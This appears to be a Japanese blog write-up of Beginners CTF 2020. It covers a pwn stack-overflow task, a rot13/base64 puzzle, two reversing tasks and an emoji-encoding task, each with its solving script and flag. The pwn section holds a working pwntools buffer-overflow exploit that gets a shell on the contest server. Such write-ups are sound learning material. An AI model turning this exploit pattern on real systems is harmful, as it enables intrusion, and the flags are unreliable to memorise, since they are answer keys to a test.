Beginners CTF 2020のwriteupを書く
最近CTF出てないなーと思ったので、久しぶりにBeginners CTF 2020に参加したので、writeupを書くことにした。 ちなみに、結果は507点で184位でした。Webを触りきらなかった。
pwn
Beginner's Stack
実行させると、アドレス位置が表示されてあからさまにwin関数に飛ばすように出てくる。いかにもその通りにbofを実行させればよいように見えるが、rspが0x10の倍数でないとダメになっている。が、先頭のpushで8バイトズレてしまうため、弾かれてしまう。ropを挟むのが本来の回答と思われるが、面倒だったので以下のスクリプトでダイレクトに0x4008B8に飛ばしてしまった。
from pwn import * HOST = "bs.quals.beginners.seccon.jp" PORT = 9001 # remote execute conn = remote(HOST, PORT) payload = b'' payload += b'a' * 40 payload += p64(0x4008B8) print(payload) conn.recvuntil('Input:') conn.sendline(payload) conn.interactive()
bin/sh
が勝手に起動するため、後はいつも通りに
Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
binary
R&B
problem.pyを見るとR
とB
でrot13とbase64decodeを繰り返している。
スクリプト書いて逆変換かけたら出てきた。
import base64 import codecs data = "" with open("encoded_flag", "r") as f: data = f.read() roop = True while roop: roop = False if data[0] == "B": data = base64.b64decode(data[1:].encode('utf-8')).decode('utf-8') roop = True if data[0] == "R": data = codecs.decode(data[1:], 'rot13') roop = True print(data)
ctf4b{rot_base_rot_base_rot_base_base}
Reversing
mask
IDAを見ていると文字列に対してそれぞれ2つのANDをかけて以下のように比較していることがわかる
- 0x75でANDを取り、
atd4 `qdedtUpetepqeUdaaeUeaqau
と一致する - 0xEBでANDを取り、
c`b bk`kj`KbababcaKbacaKiacki
と一致する
ということは以下の通りにすると復元できる
>>> a = 'atd4`qdedtUpetepqeUdaaeUeaqau' >>> b = 'c`b bk`kj`KbababcaKbacaKiacki' >>> s = '' >>> for i in range(len(a)): ... s += chr(ord(a[i]) | ord(b[i])) >>> print(s) ctf4b{dont_reverse_face_mask}
yakisoba
IDAでどうしようかと思って眺めていたらたまたま}
でretしている箇所があった。もしかしたらこれ辿っていけそうとか思ったので、レジスタを参照しているであろう箇所をすべて辿る超力業を実行した。angrとか使おうよ・・・
ctf4b{sp4gh3tt1_r1pp3r1n0}
Misc
emoemoencode
絵文字が出てくる
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
これらの文字の下2ケタがasciiの文字コードと対応しているため、対応を見ていけばよい。
ctf4b{stegan0graphy_by_em000000ji}